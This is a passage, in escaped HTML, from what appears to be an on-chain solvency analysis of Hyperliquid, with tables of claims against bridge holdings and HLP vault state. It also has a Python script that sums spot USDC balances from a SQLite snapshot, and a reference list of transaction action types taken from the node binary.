&lt;td&gt;&lt;strong&gt;Total claims (perp + spot)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;$4,374,339,283.83&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Excess (claims − bridge)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;$362,454,741.25&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;HLP vault state (&lt;code&gt;0xdfc24b077bc1425ad1dea75bcb6f8158e10df303&lt;/code&gt;):&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;HLP deposits (&lt;code&gt;vaults: 0xdfc24b...&lt;/code&gt;, &lt;code&gt;user_states.n&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;$2,511,622.12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HLP &lt;code&gt;start_of_day_account_value&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;$377,686,137.67&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;HLP &amp;ldquo;gains&amp;rdquo; (value − deposits)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;$375,174,515.54&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Perpetual trading is zero-sum for realized PnL between counterparties, but fees, liquidations, and external hedging can move the numbers. Treat this as an invariant check, not a standalone proof of insolvency. However, the &lt;em&gt;on-chain&lt;/em&gt; solvency test of &amp;ldquo;can the bridge cover all claims?&amp;rdquo; fails.&lt;/p&gt;
&lt;hr&gt;
&lt;h1 id="appendix"&gt;Appendix&lt;/h1&gt;
&lt;h2 id="reproducing-the-accounting-gap"&gt;Reproducing the accounting gap&lt;/h2&gt;
&lt;p&gt;Export the snapshot and convert to SQLite with the provided script &lt;a href="proof/state_to_sqlite.py"&gt;&lt;code&gt;state_to_sqlite.py&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;python3 state_to_sqlite.py abci_state.rmp state.db&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Spot balances are stored as JSON in &lt;code&gt;spot_user_states.data&lt;/code&gt;. The structure is &lt;code&gt;{&amp;quot;b&amp;quot;: [[token_id, {&amp;quot;t&amp;quot;: total, &amp;quot;e&amp;quot;: escrow}], ...]}&lt;/code&gt;. Token 0 is USDC:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;json&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nn"&gt;sqlite3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sqlite3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;state.db&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;cur&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Get vault addresses to exclude (vaults are separate from user claims)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;vaults&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;SELECT address FROM vaults&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# System/internal addresses&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;exclude&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vaults&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;0x2000000000000000000000000000000000000000&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# system spot&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;0x0000000000000000000000000000000000000000&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# zero address&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;0xffffffffffffffffffffffffffffffffffffffff&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# max address&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;SELECT address, data FROM spot_user_states&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;addr&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;exclude&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;b&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[]):&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#34;b&amp;#34; = balances array&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;token_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;token_id&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="c1"&gt;# USDC (8 decimals in spot)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bal&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;t&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#34;t&amp;#34; = total&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;Spot USDC: $&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;1e8&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;,.2f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Double-counting check:&lt;/strong&gt; Perp &lt;code&gt;total_net_deposit&lt;/code&gt; is an aggregate counter, not derived from individual positions. Spot balances in &lt;code&gt;spot_user_states&lt;/code&gt; are separate from perp margin. Verify by sampling: users with spot USDC should not have that same balance counted in their perp margin.&lt;/p&gt;
&lt;h2 id="all-transaction-actions"&gt;All Transaction Actions&lt;/h2&gt;
&lt;p&gt;Every user-initiated operation on Hyperliquid corresponds to one of these action types. Extracted from binary analysis of &lt;code&gt;hl-node&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="trading-actions"&gt;Trading Actions&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Fields&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Order&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;orders, grouping, builder?&lt;/td&gt;
&lt;td&gt;Place orders (limit, market, trigger)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BatchModify&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(nested)&lt;/td&gt;
&lt;td&gt;Batch order modifications&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Cancel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;cancels: [{a, o}]&lt;/td&gt;
&lt;td&gt;Cancel by asset+oid&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CancelByCloid&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;cancels: [{asset, cloid}]&lt;/td&gt;
&lt;td&gt;Cancel by client order ID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Liquidate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;liquidator_to_assets, defaultLiquidator, requests&lt;/td&gt;
&lt;td&gt;Liquidation action&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TwapOrder&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;twap params&lt;/td&gt;
&lt;td&gt;Time-weighted average price order&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TwapCancel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;twapId, a&lt;/td&gt;
&lt;td&gt;Cancel TWAP order&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UpdateUserLeverage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;asset, isCross, leverage&lt;/td&gt;
&lt;td&gt;Change leverage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UpdateIsolatedMargin&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;asset, isBuy, ntli&lt;/td&gt;
&lt;td&gt;Update isolated margin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TopUpStrictIsolatedMargin&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;asset, ntl&lt;/td&gt;
&lt;td&gt;Top up strict isolated margin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ModifyNetChildVaultPositions&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;childVaultAddresses, assets&lt;/td&gt;
&lt;td&gt;Vault position netting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ScheduleCancel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(trigger params)&lt;/td&gt;
&lt;td&gt;Schedule order cancellation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ApproveBuilderFee&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;builder, maxFeeRate&lt;/td&gt;
&lt;td&gt;Approve builder fee&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;StartFeeTrial&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;perpAddBaseRate, perpCrossBaseRate, spotAddBaseRate, spotCrossBaseRate&lt;/td&gt;
&lt;td&gt;Start fee trial&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="transfer-actions"&gt;Transfer Actions&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Fields&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UsdSend&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;destination, amount, signatureChainId&lt;/td&gt;
&lt;td&gt;Send USDC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SpotSend&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;destination, token, amount&lt;/td&gt;
&lt;td&gt;Send spot token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SendAsset&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;destination, sourceDex, destinationDex, token, amount, fromSubAccount, nonce, maxFeeRate, builder&lt;/td&gt;
&lt;td&gt;Cross-DEX asset send&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SubAccountTransfer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;subAccountUser, isDeposit, usd&lt;/td&gt;
&lt;td&gt;Transfer to/from sub-account&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SubAccountSpotTransfer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;subAccountUser, token, amount, isDeposit&lt;/td&gt;
&lt;td&gt;Spot token sub-account transfer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;UsdClassTransfer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(params)&lt;/td&gt;
&lt;td&gt;Move USDC between perp/spot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SystemSpotSend&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;destination, token, ntl, toPerp&lt;/td&gt;
&lt;td&gt;System spot send&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SystemSendAsset&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;destination, sourceDexOrSpot, destinationDexOrSpot, wei, isMint, &amp;hellip;&lt;/td&gt;
&lt;td&gt;System asset send&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SystemUsdClassTransfer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ntl, (params)&lt;/td&gt;
&lt;td&gt;System USD class transfer&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="account-management"&gt;Account Management&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Fields&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ApproveAgent3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;agentAddress, agentName, nonce, expiry?&lt;/td&gt;
&lt;td&gt;Approve trading agent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CreateSubAccount&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;name&lt;/td&gt;
&lt;td&gt;Create sub-account&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SetDisplayName&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;displayName&lt;/td&gt;
&lt;td&gt;Set user display name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SetReferrer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;code&lt;/td&gt;
&lt;td&gt;Set referrer code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RegisterReferrer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;code&lt;/td&gt;
&lt;td&gt;Register as referrer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LinkStakingUser&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(fields)&lt;/td&gt;
&lt;td&gt;Link trading to staking user&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ConvertToMultiSigUser&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;signers, threshold, nonce&lt;/td&gt;
&lt;td&gt;Convert to multisig&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="vault-operations"&gt;Vault Operations&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Fields&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CreateVault&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;name, description, initialUsd, frozenUser?&lt;/td&gt;
&lt;td&gt;Create HLP vault&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VaultTransfer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;vaultAddress, isDeposit, usd&lt;/td&gt;
&lt;td&gt;Deposit/withdraw vault&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VaultDistribute&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;vaultAddress, usd&lt;/td&gt;
&lt;td&gt;Distribute vault profits&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VaultModify&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;vaultAddress, allowDeposits, alwaysCloseOnWithdraw&lt;/td&gt;
&lt;td&gt;Modify vault settings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VoteGlobal&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(vault modification)&lt;/td&gt;
&lt;td&gt;Vote on vault parameters&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ModifyNetChildVaultPositions&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;childVaultAddresses, assets&lt;/td&gt;
&lt;td&gt;Modify child vault positions&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="staking-c-layer"&gt;Staking (C-Layer)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Fields&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TokenDelegate&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;validator, wei, isUndelegate&lt;/td&gt;
&lt;td&gt;Delegate/undelegate HYPE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ClaimRewards&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(none)&lt;/td&gt;
&lt;td&gt;Claim staking rewards&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CWithdraw&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;destination, wei, usd, builder?&lt;/td&gt;
&lt;td&gt;Withdraw from staking&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CUserModify&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;extendLongTermStaking, profile&lt;/td&gt;
&lt;td&gt;Modify staking user&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CSigner&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(signer action)&lt;/td&gt;
&lt;td&gt;C-signer operations&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="governance"&gt;Governance&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Fields&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GovPropose&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;title, description, category, &amp;hellip;&lt;/td&gt;
&lt;td&gt;Create governance proposal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GovVote&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;id, choice&lt;/td&gt;
&lt;td&gt;Vote on proposal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;VoteGlobal&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;(params)&lt;/td&gt;
&lt;td&gt;Vote on global parameters&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="validator-operations"&gt;Validator Operations&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Fields&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RegisterValidator&lt;/code&gt;&lt;/td&gt;
